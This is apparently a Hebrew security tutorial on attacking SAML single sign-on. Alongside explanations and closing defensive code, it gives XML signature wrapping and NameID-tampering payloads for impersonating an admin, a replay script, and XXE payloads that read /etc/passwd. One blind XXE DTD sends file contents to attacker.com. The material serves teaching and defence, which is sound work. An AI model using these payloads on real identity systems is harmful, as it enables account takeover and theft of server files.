תקיפת SAML - SAML Attacks¶
מבוא¶
SAML (Security Assertion Markup Language) הוא פרוטוקול אותנטיקציה מבוסס XML המשמש בעיקר בסביבות ארגוניות לניהול Single Sign-On (SSO). למרות שהפרוטוקול מציע מנגנוני אבטחה חזקים, הטמעות לקויות וחולשות בעיבוד XML יוצרות הזדמנויות תקיפה רבות.
סקירת זרימת SAML¶
השחקנים¶
- משתמש (User / Principal) - המשתמש שרוצה לגשת לשירות
- ספק שירות - SP (Service Provider) - האפליקציה שהמשתמש רוצה לגשת אליה
- ספק זהות - IdP (Identity Provider) - השרת שמאמת את המשתמש (Active Directory, Okta, וכו')
זרימת SP-Initiated SSO¶
1. משתמש -> SP: ניסיון גישה לאפליקציה
2. SP -> משתמש: הפניה ל-IdP עם SAML Request
3. משתמש -> IdP: הזדהות (שם משתמש + סיסמה)
4. IdP -> משתמש: SAML Response עם Assertion חתום
5. משתמש -> SP: העברת ה-SAML Response
6. SP: אימות החתימה וקבלת הזהות
מבנה SAML Response¶
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
ID="_response123" Version="2.0"
IssueInstant="2024-01-15T10:00:00Z"
Destination="https://sp.example.com/acs">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<!-- חתימה דיגיטלית -->
<ds:SignedInfo>
<ds:Reference URI="#_assertion456">
<ds:DigestValue>abc123...</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>xyz789...</ds:SignatureValue>
</ds:Signature>
<saml:Assertion ID="_assertion456" Version="2.0"
IssueInstant="2024-01-15T10:00:00Z">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
user@example.com
</saml:NameID>
</saml:Subject>
<saml:Conditions NotBefore="2024-01-15T09:55:00Z"
NotOnOrAfter="2024-01-15T10:05:00Z">
<saml:AudienceRestriction>
<saml:Audience>https://sp.example.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-01-15T10:00:00Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>user</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
תקיפה 1: עטיפת חתימת XML - XML Signature Wrapping (XSW)¶
הרקע¶
בתקיפת XSW, התוקף מעביר את האלמנט החתום למיקום אחר ב-XML ומוסיף אלמנט זדוני במקום המקורי. ספריות שלא מאמתות כראוי את הקשר בין החתימה לתוכן עלולות לאמת את החתימה על האלמנט המקורי, אך להשתמש בתוכן הזדוני.
סוגי XSW¶
XSW Attack 1 - העברת Assertion¶
<!-- SAML Response מקורי (פשוט) -->
<Response>
<Assertion ID="original">
<Subject>
<NameID>user@example.com</NameID>
</Subject>
</Assertion>
<Signature>
<Reference URI="#original"/>
</Signature>
</Response>
<!-- XSW Attack: הוספת Assertion זדוני -->
<Response>
<!-- Assertion זדוני - לא חתום אבל ייקרא ראשון -->
<Assertion ID="evil">
<Subject>
<NameID>admin@example.com</NameID>
</Subject>
</Assertion>
<!-- Assertion מקורי - חתום אבל יתעלמו ממנו -->
<Assertion ID="original">
<Subject>
<NameID>user@example.com</NameID>
</Subject>
</Assertion>
<Signature>
<Reference URI="#original"/>
</Signature>
</Response>
XSW Attack 2 - עטיפה ב-Extensions¶
<Response>
<Assertion ID="evil">
<Subject>
<NameID>admin@example.com</NameID>
</Subject>
</Assertion>
<Extensions>
<!-- Assertion מקורי חתום מוחבא כאן -->
<Assertion ID="original">
<Subject>
<NameID>user@example.com</NameID>
</Subject>
</Assertion>
<Signature>
<Reference URI="#original"/>
</Signature>
</Extensions>
</Response>
XSW Attack 3 - שימוש ב-Object¶
<Response>
<Assertion ID="evil">
<Subject>
<NameID>admin@example.com</NameID>
</Subject>
</Assertion>
<Signature>
<Reference URI="#original"/>
<Object>
<!-- מוחבא בתוך Object של החתימה -->
<Assertion ID="original">
<Subject>
<NameID>user@example.com</NameID>
</Subject>
</Assertion>
</Object>
</Signature>
</Response>
תקיפה 2: מניפולציית SAML Response - Response Manipulation¶
שינוי NameID¶
אם ה-SP לא מאמת את החתימה כראוי, או אם החתימה מכסה רק חלק מה-Response:
<!-- מקורי -->
<NameID>user@example.com</NameID>
<!-- מניפולציה -->
<NameID>admin@example.com</NameID>
פענוח ושינוי SAML Response¶
import base64
import zlib
from lxml import etree
def decode_saml_response(saml_b64):
"""פענוח SAML Response מ-Base64"""
decoded = base64.b64decode(saml_b64)
try:
# ניסיון deflate (SAML Redirect binding)
decompressed = zlib.decompress(decoded, -15)
return decompressed
except:
# כבר לא דחוס (POST binding)
return decoded
def modify_saml_response(saml_xml, new_nameid):
"""שינוי NameID ב-SAML Response"""
root = etree.fromstring(saml_xml)
# מרחבי שמות
ns = {
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol'
}
# חיפוש ושינוי NameID
name_ids = root.findall('.//saml:NameID', ns)
for name_id in name_ids:
print(f"[*] NameID מקורי: {name_id.text}")
name_id.text = new_nameid
print(f"[*] NameID חדש: {name_id.text}")
return etree.tostring(root)
def encode_saml_response(saml_xml):
"""קידוד SAML Response חזרה ל-Base64"""
return base64.b64encode(saml_xml).decode()
# שימוש
saml_response = "PHNhbWxwOl..." # Base64 encoded
xml = decode_saml_response(saml_response)
modified = modify_saml_response(xml, "admin@example.com")
new_response = encode_saml_response(modified)
print(f"[+] SAML Response מותקף: {new_response}")
תקיפה 3: הזרקת הערה - Comment Injection in SAML¶
הרקע¶
חולשה שהתגלתה ב-2018 (CVE-2017-11427) בספריות SAML רבות. הוספת הערת XML בתוך NameID גרמה לספריות לקטוע את הערך.
דוגמה¶
<!-- מקורי -->
<NameID>user@example.com</NameID>
<!-- עם הערה -->
<NameID>admin@example.com<!--.evil.com--></NameID>
איך זה עובד¶
1. ספריית ה-XML מפרשת את ה-NameID כ: "admin@example.com"
(ההערה מוסרת)
2. אימות החתימה עובד כי ההערה היא חלק חוקי מ-XML
3. ה-SP מקבל "admin@example.com" כזהות המשתמש
4. התוקף מקבל גישה כאדמין!
קוד ניצול¶
def comment_injection_attack(saml_xml, target_user, original_user):
"""תקיפת הזרקת הערה ב-SAML"""
from lxml import etree
root = etree.fromstring(saml_xml)
ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'}
name_ids = root.findall('.//saml:NameID', ns)
for name_id in name_ids:
# יצירת NameID עם הערה
# target_user = "admin@example.com"
# original_user = "user@example.com"
# הערך החדש: admin@example.com<!--user@example.com-->
name_id.text = target_user
comment = etree.Comment(original_user)
name_id.append(comment)
return etree.tostring(root)
תקיפה 4: שחזור Assertion - Assertion Replay¶
הרקע¶
אם ה-SP לא עוקב אחרי Assertions שכבר שומשו, ניתן לשלוח אותם שוב.
תנאים לניצול¶
1. ה-SP לא בודק InResponseTo (מזהה הבקשה המקורית)
2. ה-SP לא שומר רשימה של Assertion IDs שכבר שומשו
3. חלון הזמן (NotBefore/NotOnOrAfter) רחב מספיק
4. או שה-SP לא בודק חלון זמן בכלל
ניצול¶
import requests
import time
def replay_saml_assertion(sp_acs_url, saml_response, relay_state=None):
"""שחזור SAML Assertion"""
data = {
'SAMLResponse': saml_response
}
if relay_state:
data['RelayState'] = relay_state
# ניסיון ראשון - מקורי
resp1 = requests.post(sp_acs_url, data=data, allow_redirects=False)
print(f"[*] ניסיון 1: {resp1.status_code}")
# ניסיון שני - replay
time.sleep(2)
resp2 = requests.post(sp_acs_url, data=data, allow_redirects=False)
print(f"[*] ניסיון 2 (replay): {resp2.status_code}")
if resp2.status_code in [200, 302]:
print("[+] Assertion replay עובד!")
else:
print("[-] Assertion replay נחסם")
תקיפה 5: XXE ב-SAML - XXE in SAML¶
הרקע¶
SAML מבוסס על XML, ולכן חשוף ל-XXE (XML External Entity) אם הפרסר לא מוגדר כראוי.
דוגמאות¶
<!-- XXE בסיסי לקריאת קובץ -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Subject>
<saml:NameID>&xxe;</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
<!-- XXE עם SSRF -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server:8080/admin">
]>
<samlp:Response>
<saml:Assertion>
<saml:Issuer>&xxe;</saml:Issuer>
</saml:Assertion>
</samlp:Response>
<!-- XXE עם parameter entity (blind) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<samlp:Response>
<saml:Assertion>
<saml:Subject>
<saml:NameID>test</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
קובץ DTD בשרת התוקף (evil.dtd)¶
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%wrapper;
%exfil;
כלי עבודה: SAMLRaider - הרחבת Burp¶
התקנה ושימוש¶
1. התקינו את SAMLRaider מ-BApp Store
2. לכדו בקשת SAML (POST ל-ACS endpoint)
3. בלשונית SAMLRaider:
- פענוח אוטומטי של ה-SAML Response
- עריכת NameID ושדות אחרים
- ביצוע XSW אוטומטי
- חתימה מחדש עם מפתח עצמי
- בדיקת XXE
תקיפות אוטומטיות עם SAMLRaider¶
XSW attacks:
1. XSW1: העתקת Assertion והכנסתו לפני המקורי
2. XSW2: הכנסת Assertion חדש אחרי ה-Response
3. XSW3: הכנסת Assertion חדש לפני Assertion המקורי
4. XSW4: העתקת Assertion ל-Extensions
5. XSW5: שינוי URI של ה-Reference
6. XSW6: העתקת Assertion לתוך Object בחתימה
7. XSW7: שינוי Extensions עם Assertion מקורי
8. XSW8: הכנסת Assertion מקורי כילד של Assertion זדוני
סקריפט ניתוח SAML¶
#!/usr/bin/env python3
"""
ניתוח SAML Response
"""
import base64
import zlib
from lxml import etree
def analyze_saml(saml_b64):
"""ניתוח מלא של SAML Response"""
# פענוח
try:
raw = base64.b64decode(saml_b64)
try:
xml = zlib.decompress(raw, -15)
except:
xml = raw
except:
print("[-] שגיאה בפענוח Base64")
return
root = etree.fromstring(xml)
ns = {
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
'ds': 'http://www.w3.org/2000/09/xmldsig#'
}
print("[*] ניתוח SAML Response")
print("=" * 50)
# מידע בסיסי
issuer = root.find('.//saml:Issuer', ns)
if issuer is not None:
print(f" מנפיק (Issuer): {issuer.text}")
# NameID
name_ids = root.findall('.//saml:NameID', ns)
for nid in name_ids:
print(f" NameID: {nid.text}")
print(f" Format: {nid.get('Format', 'N/A')}")
# Conditions
conditions = root.find('.//saml:Conditions', ns)
if conditions is not None:
print(f" NotBefore: {conditions.get('NotBefore', 'N/A')}")
print(f" NotOnOrAfter: {conditions.get('NotOnOrAfter', 'N/A')}")
# Audience
audiences = root.findall('.//saml:Audience', ns)
for aud in audiences:
print(f" Audience: {aud.text}")
# Attributes
attrs = root.findall('.//saml:Attribute', ns)
for attr in attrs:
name = attr.get('Name', 'N/A')
values = [v.text for v in attr.findall('saml:AttributeValue', ns)]
print(f" Attribute '{name}': {', '.join(values)}")
# חתימות
signatures = root.findall('.//ds:Signature', ns)
print(f"\n חתימות: {len(signatures)}")
for i, sig in enumerate(signatures):
ref = sig.find('.//ds:Reference', ns)
if ref is not None:
print(f" חתימה {i+1}: Reference URI={ref.get('URI', 'N/A')}")
# XML מפורמט
print("\n[*] XML מלא:")
print(etree.tostring(root, pretty_print=True).decode())
if __name__ == "__main__":
saml = input("הזינו SAML Response (Base64): ")
analyze_saml(saml)
הגנות - Defenses¶
1. אימות חתימה קפדני¶
from signxml import XMLVerifier
def validate_saml_response(saml_xml, idp_cert):
"""אימות חתימת SAML"""
try:
# אימות החתימה
verified = XMLVerifier().verify(
saml_xml,
x509_cert=idp_cert
)
# ודאו שהחתימה מכסה את ה-Assertion המשמש
# ולא רק אלמנט אחר ב-XML
return verified.signed_xml
except Exception as e:
raise ValueError(f"חתימה לא תקינה: {e}")
2. מניעת XXE¶
from lxml import etree
def safe_parse_xml(xml_string):
"""פירוס XML בטוח ללא XXE"""
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
dtd_validation=False,
load_dtd=False
)
return etree.fromstring(xml_string, parser)
3. אימות מלא של Response¶
def validate_saml_full(response, expected_audience, expected_destination):
"""אימות מלא של SAML Response"""
# 1. אימות חתימה
verify_signature(response)
# 2. בדיקת Issuer
verify_issuer(response, trusted_issuers)
# 3. בדיקת Audience
verify_audience(response, expected_audience)
# 4. בדיקת Destination
verify_destination(response, expected_destination)
# 5. בדיקת חלון זמן
verify_time_window(response)
# 6. בדיקת InResponseTo
verify_in_response_to(response, pending_requests)
# 7. בדיקת כפילות (מניעת replay)
verify_not_replayed(response)
4. המלצות נוספות¶
- השתמשו בספריות SAML מעודכנות ומתוחזקות
- הגדירו את פרסר ה-XML ללא entity resolution
- דרשו חתימה על ה-Assertion (לא רק על ה-Response)
- בצעו אימות קנוני (canonicalization) לפני בדיקת חתימה
- שמרו רשימה של Assertion IDs שכבר שומשו
- הגבילו את חלון הזמן למינימום הנדרש
- בדקו תמיד Audience ו-Destination
סיכום¶
תקיפות SAML הן מורכבות אך עלולות לאפשר השתלטות מלאה על חשבונות. הנקודות העיקריות:
- תקיפות XSW מנצלות חוסר התאמה בין אימות חתימה לקריאת תוכן
- הזרקת הערה בתוך NameID היא טכניקה פשוטה ויעילה
- XXE ב-SAML מסוכן במיוחד עקב גישה לקבצים פנימיים
- שחזור Assertions מתאפשר ללא מעקב אחר שימוש
- כלי SAMLRaider מקל על זיהוי וניצול חולשות SAML
- הגנה נכונה דורשת אימות חתימה קפדני, מניעת XXE, ואימות מלא של כל שדות ה-Response